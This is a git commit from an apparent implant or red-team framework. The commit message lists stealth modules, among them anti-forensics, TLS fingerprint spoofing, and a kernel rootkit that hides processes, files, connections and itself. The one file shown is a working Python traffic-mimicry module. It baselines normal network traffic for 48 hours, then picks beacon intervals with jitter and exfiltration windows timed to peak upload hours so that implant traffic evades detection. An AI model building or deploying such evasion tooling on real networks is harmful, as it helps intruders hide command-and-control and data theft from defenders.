Add Phase 1 advanced stealth modules: anti-forensics, traffic mimicry, JA3 spoofing, IDS testing, LKM rootkit, overlayfs manager

6 Python modules extending BaseModule + LKM kernel module template:
- anti_forensics.py: timestomping, core dump disable, swap off, journal vacuum, history suppression, bettercap tmpfs home, secure deletion
- traffic_mimicry.py: two-phase baseline/shaping engine matching implant traffic to observed network patterns
- ja3_spoofer.py: TLS fingerprint spoofing with Chrome/Firefox/Edge profiles, iptables NFQUEUE interception, SSL context configuration
- ids_tester.py: on-demand Snort/Suricata rule assessment with risk levels, preflight validation, caplet analysis
- lkm_rootkit.py: kernel module lifecycle (build/load/unload) for process/file/connection hiding on generic Debian hosts
- overlayfs_manager.py: tmpfs-backed overlayfs with tier-aware size budgets for zero SD card write activity
- bb_hide.c: ftrace-based LKM hooking getdents64/tcp4_seq_show/udp4_seq_show with self-hiding from lsmod
- Makefile: standard out-of-tree kernel module build
This commit is contained in:
n0mad1k
2026-03-18 08:23:02 -04:00
parent d883b07e34
commit 6caf1a15ca
9 changed files with 2505 additions and 0 deletions
+336
View File
@@ -0,0 +1,336 @@
#!/usr/bin/env python3
"""Traffic mimicry module: baseline normal traffic patterns then shape
implant communications to match observed characteristics."""
import json
import logging
import os
import random
import time
import threading
from collections import defaultdict
from pathlib import Path
from typing import Optional
from modules.base import BaseModule
logger = logging.getLogger("bb.stealth.traffic_mimicry")
PHASE_BASELINE = "baseline"
PHASE_SHAPING = "shaping"
# Default baseline storage
BASELINE_DIR = "storage/baseline"
class TrafficMimicry(BaseModule):
"""Two-phase traffic mimicry: 48h baseline collection then traffic shaping
to match observed network patterns."""
name = "traffic_mimicry"
module_type = "stealth"
priority = -200
requires_root = False
def __init__(self, bus, state, config, engine=None):
super().__init__(bus, state, config, engine)
self._phase = PHASE_BASELINE
self._baseline_hours = config.get("baseline_hours", 48)
self._shape_exfil = config.get("shape_exfil", True)
self._match_protocols = config.get("match_protocols", True)
self._jitter_pct = config.get("jitter_pct", 15)
self._baseline_dir = config.get("baseline_dir", BASELINE_DIR)
self._baseline_start: Optional[float] = None
self._baseline_data = self._empty_baseline()
self._monitor_thread: Optional[threading.Thread] = None
self._lock = threading.Lock()
# ------------------------------------------------------------------
# BaseModule interface
# ------------------------------------------------------------------
def start(self) -> None:
self._running = True
self._start_time = time.time()
self._pid = os.getpid()
Path(self._baseline_dir).mkdir(parents=True, exist_ok=True)
# Check if we have a saved baseline
saved = self._load_baseline()
if saved and self._baseline_complete(saved):
self._baseline_data = saved
self._phase = PHASE_SHAPING
logger.info("TrafficMimicry loaded existing baseline — entering shaping phase")
else:
self._phase = PHASE_BASELINE
self._baseline_start = time.time()
logger.info("TrafficMimicry entering baseline phase (%dh)", self._baseline_hours)
# Subscribe to capture events for baseline data
self.bus.subscribe(self._on_pcap_event, event_type="PCAP_ROTATED")
# Background thread for periodic baseline updates and phase transitions
self._monitor_thread = threading.Thread(
target=self._monitor_loop, daemon=True, name="bb-traffic-mimicry",
)
self._monitor_thread.start()
self.state.set_module_status(self.name, "running", pid=self._pid)
self.bus.emit("MODULE_STARTED", {"module": self.name}, source_module=self.name)
def stop(self) -> None:
self._running = False
self.bus.unsubscribe(self._on_pcap_event, event_type="PCAP_ROTATED")
if self._monitor_thread and self._monitor_thread.is_alive():
self._monitor_thread.join(timeout=5.0)
# Persist current baseline
self._save_baseline()
self.state.set_module_status(self.name, "stopped")
self.bus.emit("MODULE_STOPPED", {"module": self.name}, source_module=self.name)
logger.info("TrafficMimicry stopped")
def status(self) -> dict:
with self._lock:
completeness = self._baseline_completeness_pct()
deviation = self._traffic_deviation_score()
return {
"running": self._running,
"pid": self._pid,
"uptime": time.time() - self._start_time if self._start_time else 0,
"phase": self._phase,
"baseline_completeness_pct": completeness,
"traffic_deviation_score": deviation,
"baseline_hours_configured": self._baseline_hours,
"baseline_hours_elapsed": self._baseline_hours_elapsed(),
}
def configure(self, config: dict) -> None:
if "baseline_hours" in config:
self._baseline_hours = config["baseline_hours"]
if "shape_exfil" in config:
self._shape_exfil = config["shape_exfil"]
if "match_protocols" in config:
self._match_protocols = config["match_protocols"]
if "jitter_pct" in config:
self._jitter_pct = config["jitter_pct"]
# ------------------------------------------------------------------
# Traffic shaping API (called by other modules)
# ------------------------------------------------------------------
def get_recommended_beacon_interval(self) -> float:
"""Return a beacon interval (seconds) that matches observed periodic traffic."""
with self._lock:
intervals = self._baseline_data.get("periodic_intervals", [])
if not intervals:
return 300.0 # Default 5min if no baseline
# Pick the most common periodic interval and add jitter
base = random.choice(intervals)
jitter = base * (self._jitter_pct / 100.0) * (random.random() * 2 - 1)
return max(10.0, base + jitter)
def get_recommended_exfil_window(self) -> dict:
"""Return recommended exfil timing based on baseline upload patterns."""
with self._lock:
hourly = self._baseline_data.get("hourly_volume", {})
if not hourly:
return {"hour": 3, "duration_minutes": 15} # Default: 3 AM
# Find peak upload hour
peak_hour = max(hourly, key=lambda h: hourly[h].get("upload_bytes", 0), default=3)
return {
"hour": int(peak_hour),
"duration_minutes": 30,
"max_bytes": hourly.get(str(peak_hour), {}).get("upload_bytes", 1024 * 1024),
}
def should_send_now(self) -> bool:
"""Check if current time matches a high-traffic period (safe to send)."""
if self._phase == PHASE_BASELINE:
return False # Don't shape during baseline
with self._lock:
hourly = self._baseline_data.get("hourly_volume", {})
if not hourly:
return True
current_hour = str(time.localtime().tm_hour)
hour_data = hourly.get(current_hour, {})
volume = hour_data.get("total_bytes", 0)
avg_volume = sum(
h.get("total_bytes", 0) for h in hourly.values()
) / max(len(hourly), 1)
# Only send when current hour volume is above average
return volume >= avg_volume * 0.5
# ------------------------------------------------------------------
# Internal: baseline collection
# ------------------------------------------------------------------
@staticmethod
def _empty_baseline() -> dict:
return {
"protocol_distribution": {},
"hourly_volume": {},
"inter_packet_timing": [],
"common_dest_ports": {},
"tls_versions": {},
"periodic_intervals": [],
"samples": 0,
"start_time": None,
"end_time": None,
}
def _on_pcap_event(self, event) -> None:
"""Handle PCAP_ROTATED events for baseline data collection."""
if self._phase != PHASE_BASELINE:
return
payload = event.payload
with self._lock:
self._update_baseline_from_pcap(payload)
def _update_baseline_from_pcap(self, payload: dict) -> None:
"""Extract traffic pattern data from PCAP rotation event payload."""
bd = self._baseline_data
bd["samples"] += 1
if bd["start_time"] is None:
bd["start_time"] = time.time()
bd["end_time"] = time.time()
# Protocol distribution from payload stats
protocols = payload.get("protocol_stats", {})
for proto, count in protocols.items():
bd["protocol_distribution"][proto] = (
bd["protocol_distribution"].get(proto, 0) + count
)
# Hourly volume
hour = str(time.localtime().tm_hour)
if hour not in bd["hourly_volume"]:
bd["hourly_volume"][hour] = {"total_bytes": 0, "upload_bytes": 0, "packets": 0}
bytes_captured = payload.get("bytes_captured", 0)
bd["hourly_volume"][hour]["total_bytes"] += bytes_captured
bd["hourly_volume"][hour]["upload_bytes"] += payload.get("upload_bytes", 0)
bd["hourly_volume"][hour]["packets"] += payload.get("packet_count", 0)
# Destination ports
dest_ports = payload.get("dest_ports", {})
for port, count in dest_ports.items():
bd["common_dest_ports"][str(port)] = (
bd["common_dest_ports"].get(str(port), 0) + count
)
# TLS versions
tls = payload.get("tls_versions", {})
for ver, count in tls.items():
bd["tls_versions"][ver] = bd["tls_versions"].get(ver, 0) + count
# Periodic intervals (from beacon-like patterns)
intervals = payload.get("periodic_intervals", [])
bd["periodic_intervals"].extend(intervals)
# Keep only the top 50 intervals to bound memory
if len(bd["periodic_intervals"]) > 50:
bd["periodic_intervals"] = bd["periodic_intervals"][-50:]
# ------------------------------------------------------------------
# Internal: phase management
# ------------------------------------------------------------------
def _monitor_loop(self) -> None:
"""Background loop: check phase transitions and save baselines."""
while self._running:
time.sleep(60) # Check every minute
try:
if self._phase == PHASE_BASELINE:
elapsed = self._baseline_hours_elapsed()
if elapsed >= self._baseline_hours:
self._transition_to_shaping()
elif int(elapsed) % 4 == 0:
# Save interim baseline every ~4 hours
self._save_baseline()
except Exception:
logger.exception("TrafficMimicry monitor loop error")
def _transition_to_shaping(self) -> None:
"""Switch from baseline collection to traffic shaping."""
with self._lock:
self._phase = PHASE_SHAPING
self._save_baseline()
logger.info(
"TrafficMimicry: baseline complete (%d samples) — entering shaping phase",
self._baseline_data["samples"],
)
self.bus.emit(
"CHANGE_DETECTED",
{"module": self.name, "detail": "baseline_complete", "phase": PHASE_SHAPING},
source_module=self.name,
)
def _baseline_hours_elapsed(self) -> float:
if self._baseline_start is None:
return 0.0
return (time.time() - self._baseline_start) / 3600.0
def _baseline_completeness_pct(self) -> float:
"""How complete is the baseline (0-100)?"""
if self._phase == PHASE_SHAPING:
return 100.0
elapsed = self._baseline_hours_elapsed()
time_pct = min(100.0, (elapsed / self._baseline_hours) * 100)
# Also factor in data quality: need protocol and hourly data
data_score = 0.0
bd = self._baseline_data
if bd["protocol_distribution"]:
data_score += 25.0
if len(bd["hourly_volume"]) >= 12:
data_score += 25.0
elif bd["hourly_volume"]:
data_score += 10.0
if bd["common_dest_ports"]:
data_score += 25.0
if bd["samples"] >= 10:
data_score += 25.0
return min(100.0, (time_pct * 0.6) + (data_score * 0.4))
def _baseline_complete(self, data: dict) -> bool:
"""Check if a loaded baseline has sufficient data."""
return (
bool(data.get("protocol_distribution"))
and len(data.get("hourly_volume", {})) >= 6
and data.get("samples", 0) >= 5
)
def _traffic_deviation_score(self) -> float:
"""Score how much current traffic deviates from baseline (0=perfect, 100=no match).
Only meaningful during shaping phase."""
if self._phase == PHASE_BASELINE:
return -1.0 # Not applicable
# Placeholder: in production this would compare real-time traffic stats
# against the baseline distribution. For now return 0 (no deviation data yet).
return 0.0
# ------------------------------------------------------------------
# Internal: persistence
# ------------------------------------------------------------------
def _save_baseline(self) -> None:
"""Persist baseline data to JSON."""
path = os.path.join(self._baseline_dir, "traffic_baseline.json")
try:
with self._lock:
data = json.dumps(self._baseline_data, indent=2)
with open(path, "w") as f:
f.write(data)
logger.debug("Baseline saved to %s", path)
except Exception:
logger.exception("Failed to save baseline")
def _load_baseline(self) -> Optional[dict]:
"""Load baseline from disk if it exists."""
path = os.path.join(self._baseline_dir, "traffic_baseline.json")
if not os.path.isfile(path):
return None
try:
with open(path, "r") as f:
return json.load(f)
except Exception:
logger.exception("Failed to load baseline from %s", path)
return None